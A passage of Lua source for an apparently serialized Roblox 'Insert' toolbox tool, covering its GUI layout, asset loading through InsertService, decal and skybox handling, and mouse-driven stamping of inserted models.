619 | rolloverText.BackgroundTransparency = transparency | |
620 | rolloverText.Text = "" | |
621 | rolloverText.TextWrap = true | |
622 | rolloverText.Parent = footerPanel | |
623 | Window.Main.RolloverText = rolloverText | |
624 | ||
625 | local previousButton = Instance.new("TextButton") | |
626 | previousButton.Name = "PreviousPageButton" | |
627 | previousButton.Size = UDim2.new(0.1, 0, 1.0, 0) | |
628 | previousButton.Position = UDim2.new(0.0, 0, 0.0, 0) | |
629 | previousButton.BackgroundColor3 = buttonColor | |
630 | previousButton.TextColor3 = buttonTextColor | |
631 | previousButton.BackgroundTransparency = transparency | |
632 | previousButton.Text = "<--" | |
633 | previousButton.MouseButton1Click:connect(previousSetPage) | |
634 | previousButton.Parent = footerPanel | |
635 | previousButton.Visible = false | |
636 | Window.Main.PreviousPageButton = previousButton | |
637 | ||
638 | local nextButton = Instance.new("TextButton") | |
639 | nextButton.Name = "NextPageButton" | |
640 | nextButton.Size = UDim2.new(0.1, 0, 1.0, 0) | |
641 | nextButton.Position = UDim2.new(0.9, 0, 0.0, 0) | |
642 | nextButton.BackgroundColor3 = buttonColor | |
643 | nextButton.TextColor3 = buttonTextColor | |
644 | nextButton.BackgroundTransparency = transparency | |
645 | nextButton.Text = "-->" | |
646 | nextButton.MouseButton1Click:connect(nextSetPage) | |
647 | nextButton.Parent = footerPanel | |
648 | nextButton.Visible = false | |
649 | Window.Main.NextPageButton = nextButton | |
650 | ||
651 | local insertButtons = {} | |
652 | for y = 1, InsertRows do | |
653 | for x = 1, InsertColumns do | |
654 | insertButtons[x + (y - 1) * InsertColumns] = buildInsertButton(UDim2.new(.125*(x-1), 2, 0.25*(y-1), 2), UDim2.new(.125, -4, .25, -4)) | |
655 | insertButtons[x + (y - 1) * InsertColumns].Parent = insertPanel | |
656 | end | |
657 | end | |
658 | Data.InsertButtons = insertButtons | |
659 | Data.Main.InsertRows = InsertRows | |
660 | Data.Main.InsertColumns = InsertColumns | |
661 | ||
662 | selectCategory(baseCategoryButton, Data.BaseCategoryButtons) | |
663 | end | |
664 | ||
665 | function layoutInsertButtons(guiMain) | |
666 | local size = guiMain.AbsoluteSize | |
667 | ||
668 | local frameSize = 0.75 * size | |
669 | local frameSizeUsed = Vector2.new(0, height*2) | |
670 | ||
671 | --We want 15% or 100 pixels, which ever is smaller | |
672 | if frameSize.x * .15 < 100 then | |
673 | local oldSize = Window.Main.Frame.SetTab.Size | |
674 | Window.Main.Frame.SetTab.Size = UDim2.new(0.0, 100, oldSize.Y.Scale, oldSize.Y.Offset) | |
675 | Window.Main.Frame.InsertTab.Position = UDim2.new(0.0, 100, 0.0, 0) | |
676 | frameSizeUsed = Vector2.new(frameSizeUsed.x + 100, frameSizeUsed.y) | |
677 | else | |
678 | local oldSize = Window.Main.Frame.SetTab.Size | |
679 | Window.Main.Frame.SetTab.Size = UDim2.new(0.15, 0, oldSize.Y.Scale, oldSize.Y.Offset) | |
680 | Window.Main.Frame.InsertTab.Position = UDim2.new(0.15, 0, 0.0, 0) | |
681 | frameSizeUsed = Vector2.new(frameSizeUsed.x + .15*frameSize.x, frameSizeUsed.y) | |
682 | end | |
683 | ||
684 | --Decide how many buttons we can fit, and what size to make the insert buttons | |
685 | --2 sizes of insert buttons, 50x50 and 100x100 | |
686 | ||
687 | local buttonSize = 110 | |
688 | while buttonSize > 70 and math.floor((frameSize - frameSizeUsed).x/buttonSize) * math.floor((frameSize - frameSizeUsed).y/buttonSize) < 32 do | |
689 | buttonSize = buttonSize - 10 | |
690 | end | |
691 | ||
692 | Data.Main.InsertColumns = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).x/buttonSize)), InsertColumns) | |
693 | Data.Main.InsertRows = math.min(math.max(1, math.floor((frameSize - frameSizeUsed).y/buttonSize)), InsertRows) | |
694 | ||
695 | for index, button in pairs(Data.InsertButtons) do | |
696 | if index <= Data.Main.InsertRows * Data.Main.InsertColumns then | |
697 | button.Visible = true | |
698 | button.Size = UDim2.new(0, buttonSize-4, 0, buttonSize-4) | |
699 | button.Position = UDim2.new(0, buttonSize * ((index-1)%Data.Main.InsertColumns) + 2 + 2, | |
700 | 0, buttonSize * math.floor((index-1)/Data.Main.InsertColumns) + 2 + 2) | |
701 | else | |
702 | button.Visible = false | |
703 | end | |
704 | end | |
705 | Window.Main.Frame.InsertTab.Size = UDim2.new(0.0, buttonSize * Data.Main.InsertColumns + 4, 0.0, buttonSize * Data.Main.InsertRows + height*2 + 4) | |
706 | ||
707 | if Data.Category[Data.CurrentCategory].Index == nil then | |
708 | setSetIndex(0) | |
709 | else | |
710 | setSetIndex(Data.Category[Data.CurrentCategory].Index) | |
711 | end | |
712 | ||
713 | local finalFrameHeight = frameSizeUsed.y + Data.Main.InsertRows*buttonSize + 4 | |
714 | Window.Main.Frame.Size = UDim2.new(0, frameSizeUsed.x + Data.Main.InsertColumns*buttonSize + 4, 0, finalFrameHeight) | |
715 | Window.Main.Frame.Position = UDim2.new(0.0, 0, 1.0, -Window.Main.Frame.Size.Y.Offset) | |
716 | ||
717 | if Data.Category[Data.CurrentCategory].SetIndex == nil then | |
718 | layoutSetButtons(finalFrameHeight, 1) | |
719 | else | |
720 | layoutSetButtons(finalFrameHeight, Data.Category[Data.CurrentCategory].SetIndex) | |
721 | end | |
722 | end | |
723 | ||
724 | function layoutSetButtons(frameHeight, setIndex) | |
725 | Data.Main.FrameHeight = frameHeight | |
726 | Data.Main.InsertSets = math.floor(frameHeight / (height*2)) | |
727 | if #Data.CurrentCategory > Data.Main.InsertSets then | |
728 | --Steal one entry since we have two many things | |
729 | Data.Main.InsertSets = Data.Main.InsertSets - 1 | |
730 | end | |
731 | ||
732 | print("Layout Set Buttons index=" .. setIndex .. ", InsertSets="..Data.Main.InsertSets) | |
733 | ||
734 | setCategoryIndex(setIndex) | |
735 | end | |
736 | ||
737 | ||
738 | function insertComplete() | |
739 | Window.Loading.Frame.Visible = false | |
740 | Window.Stamp.Frame.Visible = false | |
741 | Window.Main.Frame.Visible = true | |
742 | end | |
743 | ||
744 | function UnlockInstances(object) | |
745 | if object:IsA("BasePart") then | |
746 | object.Locked = false | |
747 | end | |
748 | for index,child in pairs(object:GetChildren()) do | |
749 | UnlockInstances(child) | |
750 | end | |
751 | end | |
752 | ||
753 | function beginInsertDecal(decal) | |
754 | ||
755 | Data.Stamp.DecalSelection = Instance.new("SurfaceSelection") | |
756 | Data.Stamp.DecalSelection.Color = BrickColor.new("Bright orange") | |
757 | Data.Stamp.DecalSelection.archivable = false | |
758 | Data.Stamp.DecalSelection.Parent = getPlayer().PlayerGui | |
759 | ||
760 | --Save the decal in our Lua code for later use | |
761 | Data.Stamp.Decal = decal | |
762 | Data.Stamp.Decal.Parent = nil | |
763 | end | |
764 | ||
765 | function beginInsertAsset(assetName, assetId, image, stampMode) | |
766 | --Copy over details into dialog window | |
767 | Window.Loading.AssetThumbLabel.Image = image | |
768 | Window.Loading.AssetNameLabel.Text = assetName | |
769 | ||
770 | Window.Stamp.AssetThumbLabel.Image = image | |
771 | Window.Stamp.AssetNameLabel.Text = assetName | |
772 | Data.Stamp.StampMode = stampMode | |
773 | ||
774 | --Hide the main window | |
775 | Window.Main.Frame.Visible = false | |
776 | --Show the dialog window | |
777 | Window.Loading.Frame.Visible = true | |
778 | Data.Loading.Cancelled = false | |
779 | ||
780 | --This call will cause a "wait" until the data comes back | |
781 | local root | |
782 | if useAssetVersionId then | |
783 | root = game:GetService("InsertService"):LoadAssetVersion(assetId) | |
784 | else | |
785 | root = game:GetService("InsertService"):LoadAsset(assetId) | |
786 | end | |
787 | ||
788 | if Data.Loading.Cancelled then | |
789 | --The user got bored and wandered off | |
790 | ||
791 | --Just delete the model from the world... a shame we loaded it when they got bored | |
792 | root:Remove() | |
793 | else | |
794 | Window.Loading.Frame.Visible = false | |
795 | ||
796 | local instances = root:GetChildren() | |
797 | if #instances == 0 then | |
798 | root:Remove() | |
799 | insertComplete() | |
800 | return | |
801 | end | |
802 | ||
803 | --Unlock all parts that are inserted, to make sure they are editable | |
804 | UnlockInstances(root) | |
805 | ||
806 | --Continue the insert process | |
807 | root.Name = "InsertedObject" .. assetId | |
808 | ||
809 | --Examine the contents and decide what it looks like | |
810 | for pos, instance in pairs(instances) do | |
811 | --Single instance objects might be treated special, decals/skyboxes | |
812 | if instance:IsA("Decal") then | |
813 | --Current system here stops after finding one Decal (and gives you Decal tool) | |
814 | --We should do the same (probably) | |
815 | beginInsertDecal(instance) | |
816 | root:Remove() | |
817 | ||
818 | Window.Stamp.Frame.Visible = true | |
819 | return | |
820 | elseif instance:IsA("Team") then | |
821 | instance.Parent = game:GetService("Teams") | |
822 | elseif instance:IsA("SpawnLocation") then | |
823 | ||
824 | elseif instance:IsA("HopperBin") then | |
825 | -- Must go into the starterPack, prompt user? | |
826 | elseif instance:IsA("Tool") then | |
827 | -- Ask them if it should go in StarterPack? | |
828 | elseif instance:IsA("Sky") then | |
829 | local lightingService = game:GetService("Lighting") | |
830 | for index,child in pairs(lightingService:GetChildren()) do | |
831 | if child:IsA("Sky") then | |
832 | child:Remove(); | |
833 | end | |
834 | end | |
835 | instance.Parent = lightingService | |
836 | return | |
837 | else | |
838 | ||
839 | end | |
840 | end | |
841 | ||
842 | if #root:GetChildren() == 0 then | |
843 | root:Remove() | |
844 | insertComplete() | |
845 | return | |
846 | end | |
847 | ||
848 | Window.Stamp.Frame.Visible = true | |
849 | Data.Stamp.Model = root | |
850 | end | |
851 | end | |
852 | ||
853 | function cancelAssetLoad() | |
854 | Data.Loading.Cancelled = true | |
855 | insertComplete() | |
856 | end | |
857 | ||
858 | function buildLoadingDialogGui(root) | |
859 | Window.Loading = {} | |
860 | Data.Loading = {} | |
861 | ||
862 | local dialogFrame = Instance.new("Frame") | |
863 | dialogFrame.Name = "InsertLoadingDialog" | |
864 | dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5) | |
865 | dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5) | |
866 | dialogFrame.BackgroundColor3 = frameColor | |
867 | dialogFrame.Active = true | |
868 | dialogFrame.Parent = root | |
869 | dialogFrame.Visible = false | |
870 | Window.Loading.Frame = dialogFrame | |
871 | ||
872 | local assetThumb = Instance.new("ImageLabel") | |
873 | assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2) | |
874 | assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4) | |
875 | assetThumb.Parent = dialogFrame | |
876 | Window.Loading.AssetThumbLabel = assetThumb | |
877 | ||
878 | local descriptionFrame = Instance.new("Frame") | |
879 | descriptionFrame.Name = "Description" | |
880 | descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0) | |
881 | descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0) | |
882 | descriptionFrame.Transparency = 1 | |
883 | descriptionFrame.Parent = dialogFrame | |
884 | ||
885 | local label = Instance.new("TextLabel") | |
886 | label.Text = "Loading..." | |
887 | label.Position = UDim2.new(0.5, 0, 0, 0); | |
888 | label.Size = UDim2.new(0.0, 0, 0.0, height) | |
889 | label.BorderSizePixel = 0 | |
890 | label.TextColor3 = frameTextColor | |
891 | label.Parent = descriptionFrame | |
892 | ||
893 | local assetLabel = Instance.new("TextLabel") | |
894 | assetLabel.Text = "Your Asset Here" | |
895 | assetLabel.Position = UDim2.new(0.0, 0, 0.0, height) | |
896 | assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height) | |
897 | assetLabel.BorderSizePixel = 0 | |
898 | assetLabel.BackgroundTransparency = 1.0 | |
899 | assetLabel.Parent = descriptionFrame | |
900 | assetLabel.TextColor3 = frameTextColor | |
901 | assetLabel.TextWrap = true | |
902 | Window.Loading.AssetNameLabel = assetLabel | |
903 | ||
904 | local cancelButton = Instance.new("TextButton") | |
905 | cancelButton.Name = "PreviousPageButton" | |
906 | cancelButton.Size = UDim2.new(0, height*3, 0, height) | |
907 | cancelButton.Position = UDim2.new(0.5, -height*1.5, 1.0, -height*1.2) | |
908 | cancelButton.BackgroundColor3 = buttonColor | |
909 | cancelButton.TextColor3 = buttonTextColor | |
910 | cancelButton.Text = "Cancel" | |
911 | cancelButton.MouseButton1Click:connect(cancelAssetLoad) | |
912 | cancelButton.Parent = descriptionFrame | |
913 | end | |
914 | ||
915 | ||
916 | ||
917 | function cancelAssetPlacement() | |
918 | Data.Stamp.Cancelled = true | |
919 | Data.Stamp.Dragger = nil | |
920 | if Data.Stamp.Model then | |
921 | Data.Stamp.Model:Remove() | |
922 | Data.Stamp.Model = nil | |
923 | end | |
924 | if Data.Stamp.CurrentParts then | |
925 | for index, object in pairs(Data.Stamp.CurrentParts) do | |
926 | object:Remove() | |
927 | end | |
928 | Data.Stamp.CurrentParts = nil | |
929 | end | |
930 | ||
931 | if Data.Stamp.DecalSelection then | |
932 | Data.Stamp.DecalSelection:Remove() | |
933 | Data.Stamp.DecalSelection = nil | |
934 | end | |
935 | if Data.Stamp.Decal then | |
936 | Data.Stamp.Decal:Remove() | |
937 | Data.Stamp.Decal = nil | |
938 | end | |
939 | ||
940 | if Mouse then | |
941 | Mouse.Icon ="rbxasset://textures\\ArrowCursor.png" | |
942 | end | |
943 | insertComplete() | |
944 | end | |
945 | ||
946 | function onInsertKeyDown(key) | |
947 | if Data.Stamp.Dragger then | |
948 | if key == 'R' or key == 'r' then | |
949 | Data.Stamp.Dragger:AxisRotate(Enum.Axis.Y) | |
950 | elseif key == 'T' or key == 't' then | |
951 | Data.Stamp.Dragger:AxisRotate(Enum.Axis.Z) | |
952 | end | |
953 | end | |
954 | if key == '' then | |
955 | minimize() | |
956 | end | |
957 | end | |
958 | ||
959 | ||
960 | function canSelectObject(part) | |
961 | return part and not (part.Locked) and part:IsA("BasePart") and (part.Position - Tool.Parent.Head.Position).Magnitude < 60 | |
962 | end | |
963 | ||
964 | function setSelectionSurface(part, surface) | |
965 | if Data.Stamp.DecalSelection.Adornee == part and Data.Stamp.DecalSelection.TargetSurface == surface then | |
966 | return | |
967 | end | |
968 | unsetSelectionSurface() | |
969 | Data.Stamp.DecalSelection.Adornee = part | |
970 | Data.Stamp.DecalSelection.TargetSurface = surface | |
971 | --selectionLasso.Part = part | |
972 | ||
973 | local decalFound = false | |
974 | for index,child in pairs(part:GetChildren()) do | |
975 | if child:IsA("Decal") and child.Face == surface then | |
976 | decalFound = true | |
977 | break | |
978 | end | |
979 | end | |
980 | ||
981 | if not(decalFound) then | |
982 | Data.Stamp.Decal.Parent = part | |
983 | Data.Stamp.Decal.Face = surface | |
984 | end | |
985 | end | |
986 | ||
987 | function unsetSelectionSurface() | |
988 | Data.Stamp.DecalSelection.Adornee = nil | |
989 | --selectionLasso.Part = nil | |
990 | Data.Stamp.Decal.Parent = nil | |
991 | end | |
992 | ||
993 | function onInsertMouseMove() | |
994 | if Data.Stamp.MovingLock then | |
995 | return | |
996 | end | |
997 | ||
998 | local newCursor = "rbxasset://textures\\ArrowCursor.png" | |
999 | Data.Stamp.MovingLock = true | |
1000 | if Data.Stamp.Decal then | |
1001 | local part = Mouse.Target | |
1002 | if canSelectObject(part) then | |
1003 | setSelectionSurface(part, Mouse.TargetSurface) | |
1004 | else | |
1005 | unsetSelectionSurface() | |
1006 | newCursor = BaseUrl .. "asset?id=20715642" | |
1007 | end | |
1008 | elseif Data.Stamp.Dragger == nil then | |
1009 | if Data.Stamp.Model ~= nil then | |
1010 | Mouse.Icon ="rbxasset://textures//GrabRotateCursor.png" | |
1011 | setupDraggableClone() | |
1012 | end | |
1013 | else | |
1014 | Data.Stamp.Dragger:MouseMove(Mouse.UnitRay) | |
1015 | end | |
1016 | Mouse.Icon = newCursor | |
1017 | ||
1018 | Data.Stamp.MovingLock = false | |
1019 | end | |
1020 | ||
1021 | function onInsertMouseButton1Down() | |
1022 | if Data.Stamp.Dragger or Data.Stamp.Decal then | |
1023 | Data.Stamp.MouseDown = true | |
1024 | end | |
1025 | end | |
1026 | ||
1027 | function onInsertMouseButton1Up() | |
1028 | if Data.Stamp.MouseDown then | |
1029 | Data.Stamp.MouseDown = false | |
1030 | if Data.Stamp.Decal then | |
1031 | local part = Mouse.Target | |
1032 | if canSelectObject(part) and Instance.Lock(part) then | |
1033 | local surface = Mouse.TargetSurface | |
1034 | for index,child in pairs(part:GetChildren()) do | |
1035 | if child:IsA("Decal") and child.Face == surface then | |
1036 | child:Remove() | |
1037 | end | |
1038 | end | |
1039 | ||
1040 | local newDecal = Data.Stamp.Decal:Clone() | |
1041 | newDecal.Face = surface | |
1042 | newDecal.Parent = part | |
1043 | Instance.Unlock(part) | |
1044 | ||
1045 | if Data.Stamp.StampMode then | |
1046 | else | |
1047 | Instance.Unlock(part) | |
1048 | cancelAssetPlacement() | |
1049 | end | |
1050 | end | |
1051 | elseif Data.Stamp.Dragger then | |
1052 | --Place the object where the mouse is currently positioned | |
1053 | Data.Stamp.Dragger:MouseUp() | |
1054 | ||
1055 | --Fix the transparency of all the parts | |
1056 | for part, transparency in pairs(Data.Stamp.TransparencyTable) do | |
1057 | part.Transparency = transparency | |
1058 | end | |
1059 | Data.Stamp.TransparencyTable = nil | |
1060 | ||
1061 | --Re-enable the scripts | |
1062 | for index,script in pairs(Data.Stamp.DisabledScripts) do | |
1063 | script.Disabled = false | |
1064 | end | |
1065 | --Now that they are all marked enabled, reinsert them into the world so they start running | |
1066 | for index,script in pairs(Data.Stamp.DisabledScripts) do | |
1067 | local oldParent = script.Parent | |
1068 | script.Parent = nil | |
1069 | script:Clone().Parent = oldParent | |
1070 | end | |
1071 | Data.Stamp.DisabledScripts = nil | |
1072 | ||
1073 | Data.Stamp.Dragger = nil | |
1074 | Data.Stamp.CurrentParts = nil | |
1075 | ||
1076 | if Data.Stamp.StampMode then | |
1077 | --Now set up a new instance of the object to allow a second copy to be stamped down | |
1078 | setupDraggableClone() | |
1079 | else | |
1080 | cancelAssetPlacement() | |
1081 | end | |
1082 | end | |
1083 | end | |
1084 | end | |
1085 | ||
1086 | ||
1087 | function collectParts(object, baseParts, scripts) | |
1088 | if object:IsA("BasePart") then | |
1089 | baseParts[#baseParts+1] = object | |
1090 | elseif object:IsA("Script") then | |
1091 | scripts[#scripts+1] = object | |
1092 | end | |
1093 | ||
1094 | for index,child in pairs(object:GetChildren()) do | |
1095 | collectParts(child, baseParts, scripts) | |
1096 | end | |
1097 | end | |
1098 | ||
1099 | ||
1100 | ||
1101 | function setupDraggableClone() | |
1102 | local clone = Data.Stamp.Model:Clone() | |
1103 | local scripts = {} | |
1104 | local parts = {} | |
1105 | ||
1106 | collectParts(clone, parts, scripts) | |
1107 | ||
1108 | if #parts > 0 then | |
1109 | Data.Stamp.DisabledScripts = {} | |
1110 | Data.Stamp.TransparencyTable = {} | |
1111 | ||
1112 | for index,script in pairs(scripts) do | |
1113 | if not(script.Disabled) then | |
1114 | script.Disabled = true | |
1115 | Data.Stamp.DisabledScripts[#Data.Stamp.DisabledScripts +1] = script | |
1116 | end | |
1117 | end | |
1118 | for index, part in pairs(parts) do | |
1119 | Data.Stamp.TransparencyTable[part] = part.Transparency | |
1120 | part.Transparency = 0.5 | |
1121 | end | |
1122 | ||
1123 | game:GetService("InsertService"):Insert(clone) | |
1124 | ||
1125 | Data.Stamp.CurrentParts = clone:GetChildren(); | |
1126 | for index, object in pairs(Data.Stamp.CurrentParts) do | |
1127 | object.Parent = clone.Parent | |
1128 | end | |
1129 | clone:Remove(); | |
1130 | ||
1131 | Data.Stamp.Dragger = Instance.new("Dragger") | |
1132 | --Begin a movement by faking a MouseDown signal | |
1133 | Data.Stamp.Dragger:MouseDown(parts[1], Vector3.new(0,0,0), parts) | |
1134 | Data.Stamp.Dragger:MouseMove(Mouse.UnitRay) | |
1135 | else | |
1136 | --Nothing draggable in the Model | |
1137 | Data.Stamp.Model:Remove() | |
1138 | Data.Stamp.Model = nil | |
1139 | Data.Stamp.TransparencyTable = nil | |
1140 | Data.Stamp.DisabledScripts = nil | |
1141 | end | |
1142 | end | |
1143 | function buildStampDialogGui(root) | |
1144 | Window.Stamp = {} | |
1145 | Data.Stamp = {} | |
1146 | ||
1147 | local dialogFrame = Instance.new("Frame") | |
1148 | dialogFrame.Name = "InsertStampDialog" | |
1149 | dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5) | |
1150 | dialogFrame.Position = UDim2.new(0.0, 0, 1.0, -height*5) | |
1151 | dialogFrame.BackgroundColor3 = frameColor | |
1152 | dialogFrame.Active = true | |
1153 | dialogFrame.Parent = root | |
1154 | dialogFrame.Visible = false | |
1155 | Window.Stamp.Frame = dialogFrame | |
1156 | ||
1157 | local assetThumb = Instance.new("ImageLabel") | |
1158 | assetThumb.Position = UDim2.new(0.0, 2, 0.0, 2) | |
1159 | assetThumb.Size = UDim2.new(0.5, -4, 1.0, -4) | |
1160 | assetThumb.Parent = dialogFrame | |
1161 | Window.Stamp.AssetThumbLabel = assetThumb | |
1162 | ||
1163 | local descriptionFrame = Instance.new("Frame") | |
1164 | descriptionFrame.Name = "Description" | |
1165 | descriptionFrame.Size = UDim2.new(0.5, 0, 1.0, 0) | |
1166 | descriptionFrame.Position = UDim2.new(0.5, 0, 0.0, 0) | |
1167 | descriptionFrame.Transparency = 1 | |
1168 | descriptionFrame.Parent = dialogFrame | |
1169 | ||
1170 | local assetLabel = Instance.new("TextLabel") | |
1171 | assetLabel.Text = "Your Asset Here" | |
1172 | assetLabel.Position = UDim2.new(0.0, 0, 0.0, 0) | |
1173 | assetLabel.Size = UDim2.new(1.0, 0, 1.0, -height) | |
1174 | assetLabel.BorderSizePixel = 0 | |
1175 | assetLabel.BackgroundTransparency = 1.0 | |
1176 | assetLabel.Parent = descriptionFrame | |
1177 | assetLabel.TextColor3 = frameTextColor | |
1178 | assetLabel.TextWrap = true | |
1179 | Window.Stamp.AssetNameLabel = assetLabel | |
1180 | ||
1181 | local cancelButton = Instance.new("TextButton") | |
1182 | cancelButton.Name = "CancelButton" | |
1183 | cancelButton.Size = UDim2.new(0, height*4.5, 0, height) | |
1184 | cancelButton.Position = UDim2.new(0.5, -height*2.25, 1.0, -height*1.2) | |
1185 | cancelButton.BackgroundColor3 = buttonColor | |
1186 | cancelButton.TextColor3 = buttonTextColor | |
1187 | cancelButton.Text = "Back to Toolbox" | |
1188 | cancelButton.MouseButton1Click:connect(cancelAssetPlacement) | |
1189 | cancelButton.Parent = descriptionFrame | |
1190 | ||
1191 | Data.Stamp.MovingLock = false | |
1192 | end | |
1193 | ||
1194 | function buildInitialLoadScreen(root) | |
1195 | local dialogFrame = Instance.new("Frame") | |
1196 | dialogFrame.Name = "InsertLoadingScreen" | |
1197 | dialogFrame.Size = UDim2.new(0.0, height*10, 0, height*5) | |
1198 | dialogFrame.Position = UDim2.new(0.5, -height*5, 0.5, -height*2.5) | |
1199 | dialogFrame.BackgroundColor3 = frameColor | |
1200 | dialogFrame.Active = true | |
1201 | dialogFrame.Visible = true | |
1202 | dialogFrame.Parent = root | |
1203 | ||
1204 | local label = Instance.new("TextLabel") | |
1205 | label.Text = "Loading" | |
1206 | label.Position = UDim2.new(0.0, 0, 0, 0) | |
1207 | label.Size = UDim2.new(1.0, 0, 0.0, height) | |
1208 | label.BorderSizePixel = 1 | |
1209 | label.TextColor3 = titleTextColor | |
1210 | label.BackgroundColor3 = titleColor | |
1211 | label.Parent = dialogFrame | |
1212 | ||
1213 | local assetLabel = Instance.new("TextLabel") | |
1214 | assetLabel.Text = "Please Wait" | |
1215 | assetLabel.Position = UDim2.new(0.0, 0, 0.0, height) | |
1216 | assetLabel.Size = UDim2.new(1.0, 0, 1.0, -2*height) | |
1217 | assetLabel.BorderSizePixel = 1 | |
1218 | assetLabel.BackgroundTransparency = 1.0 | |
1219 | assetLabel.TextColor3 = frameTextColor | |
1220 | assetLabel.TextWrap = true | |
1221 | assetLabel.Parent = dialogFrame | |
1222 | end | |
1223 | ||
1224 | function buildMinimizedGui(root) | |
1225 | Window.Minimized = {} | |
1226 | Data.Minimized = {} | |
1227 | local minimizeButton = Instance.new("TextButton") | |
1228 | minimizeButton.Name = "MinimizeButton" | |
1229 | minimizeButton.Size = UDim2.new(0, height*4.5, 0, height) | |
1230 | minimizeButton.Position = UDim2.new(0.0, 0, 1.0, -height) | |
1231 | minimizeButton.BackgroundColor3 = buttonColor | |
1232 | minimizeButton.TextColor3 = buttonTextColor | |
1233 | minimizeButton.Text = "Toolbox" | |
1234 | minimizeButton.MouseButton1Click:connect(function() Window.Minimized.Frame.Visible = false Window.Main.Frame.Visible = true end) | |
1235 | minimizeButton.Visible = false | |
1236 | minimizeButton.Parent = root | |
1237 | ||
1238 | Window.Minimized.Frame = minimizeButton | |
1239 | end | |
1240 | ||
1241 | ||
1242 | local CancelDuringLoad | |
1243 | local LoadScreen | |
1244 | function onEquippedLocal(mouse) | |
1245 | Tool.TextureId = "rbxasset://icons/insert_sel.png" | |
1246 | ||
1247 | Mouse = mouse | |
1248 | if Tool.SavedState.Value and Tool.PlayerOwner.Value == getPlayer() and Data and Data.FullyLoaded then | |
1249 | guiMain = Tool.SavedState.Value | |
1250 | guiMain.Parent = getPlayer().PlayerGui | |
1251 | ||
1252 | Window.Stamp.Frame.Visible = false | |
1253 | Window.Minimized.Frame.Visible = false | |
1254 | Window.Loading.Frame.Visible = false | |
1255 | Window.Main.Frame.Visible = true | |
1256 | ||
1257 | --Window = Tool.SavedState.Value.Window | |
1258 | --Data = Tool.SavedState.Value.Window | |
1259 | else | |
1260 | CancelDuringLoad = false | |
1261 | ||
1262 | LoadScreen = Instance.new("ScreenGui") | |
1263 | LoadScreen.Name = "InsertToolLoading" | |
1264 | buildInitialLoadScreen(LoadScreen) | |
1265 | LoadScreen.Parent = getPlayer().PlayerGui | |
1266 | ||
1267 | guiMain = Instance.new("ScreenGui") | |
1268 | guiMain.Name = "InsertToolboxMain" | |
1269 | Window = {} | |
1270 | Data = {} | |
1271 | Data.FullyLoaded = false | |
1272 | ||
1273 | buildMainGui(guiMain, getPlayer().userId) | |
1274 | buildLoadingDialogGui(guiMain) | |
1275 | buildStampDialogGui(guiMain) | |
1276 | buildMinimizedGui(guiMain) | |
1277 | ||
1278 | LoadScreen:Remove() | |
1279 | LoadScreen = nil | |
1280 | ||
1281 | if not(CancelDuringLoad) then | |
1282 | guiMain.Changed:connect(function(property) if property == "AbsoluteSize" then layoutInsertButtons(guiMain) end end) | |
1283 | guiMain.Parent = getPlayer().PlayerGui | |
1284 | ||
1285 | Tool.SavedState.Value = guiMain | |
1286 | Tool.PlayerOwner.Value = getPlayer() | |
1287 | end | |
1288 | ||
1289 | Data.FullyLoaded = true | |
1290 | end | |
1291 | ||
1292 | Mouse.Move:connect(onInsertMouseMove) | |
1293 | Mouse.Button1Down:connect(onInsertMouseButton1Down) | |
1294 | Mouse.Button1Up:connect(onInsertMouseButton1Up) | |
1295 | Mouse.KeyDown:connect(onInsertKeyDown) | |
1296 | ||
1297 | end | |
1298 | ||
1299 | function onUnequippedLocal() | |
1300 | Tool.TextureId = origTexture | |
1301 | ||
1302 | pcall(function() | |
1303 | cancelAssetPlacement() | |
1304 | cancelAssetLoad() | |
1305 | guiMain.Parent = nil | |
1306 | end) | |
1307 | ||
1308 | CancelDuringLoad = true | |
1309 | ||
1310 | if LoadScreen then | |
1311 | LoadScreen:Remove() | |
1312 | end | |
1313 | end | |
1314 | ||
1315 | function onAncestryChanged(child,parent) | |
1316 | if Tool.PlayerOwner.Value and not Tool:IsDescendantOf(Tool.PlayerOwner.Value) and not Tool:IsDescendantOf(Tool.PlayerOwner.Value.Character) then | |
1317 | --Tool was dropped in some way, so we need to nuke our external state | |
1318 | Tool.SavedState.Value = nil | |
1319 | Tool.PlayerOwner.Value = nil | |
1320 | end | |
1321 | ||
1322 | pcall(cancelAssetPlacement) | |
1323 | pcall(cancelAssetLoad) | |
1324 | end | |
1325 | ||
1326 | ||
1327 | Tool.Equipped:connect(onEquippedLocal) | |
1328 | Tool.Unequipped:connect(onUnequippedLocal) | |
1329 | Tool.AncestryChanged:connect(onAncestryChanged) | |
1330 | end)) | |
1331 | ObjectValue2.Name = "SavedState" | |
1332 | ObjectValue2.Parent = Tool0 | |
1333 | Part3.Name = "Handle" | |
1334 | Part3.Parent = Tool0 | |
1335 | Part3.BrickColor = BrickColor.new("Dark stone grey") | |
1336 | Part3.Rotation = Vector3.new(180, 0, -180) | |
1337 | Part3.FormFactor = Enum.FormFactor.Plate | |
1338 | Part3.Size = Vector3.new(1, 0.800000012, 2) | |
1339 | Part3.CFrame = CFrame.new(-6.49996901, 0.40001601, -12, -0.999999762, 6.82227119e-06, 9.68836318e-08, 6.82227119e-06, 1, -8.38331893e-09, -9.68836886e-08, -8.38265812e-09, -0.999999762) | |
1340 | Part3.BottomSurface = Enum.SurfaceType.Smooth | |
1341 | Part3.TopSurface = Enum.SurfaceType.Smooth | |
1342 | Part3.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
1343 | Part3.Position = Vector3.new(-6.49996901, 0.40001601, -12) | |
1344 | Part3.Orientation = Vector3.new(0, 180, 0) | |
1345 | Part3.Color = Color3.new(0.388235, 0.372549, 0.384314) | |
1346 | SpecialMesh4.Parent = Part3 | |
1347 | SpecialMesh4.MeshId = "http://www.roblox.com/asset/?id=18715644" | |
1348 | SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976) | |
1349 | SpecialMesh4.TextureId = "http://www.roblox.com/asset/?id=18715636" | |
1350 | SpecialMesh4.MeshType = Enum.MeshType.FileMesh | |
1351 | SpecialMesh4.Scale = Vector3.new(0.899999976, 0.899999976, 0.899999976) | |
1352 | Sound5.Parent = Part3 | |
1353 | Sound5.SoundId = "http://www.roblox.com/asset/?id=18716629" | |
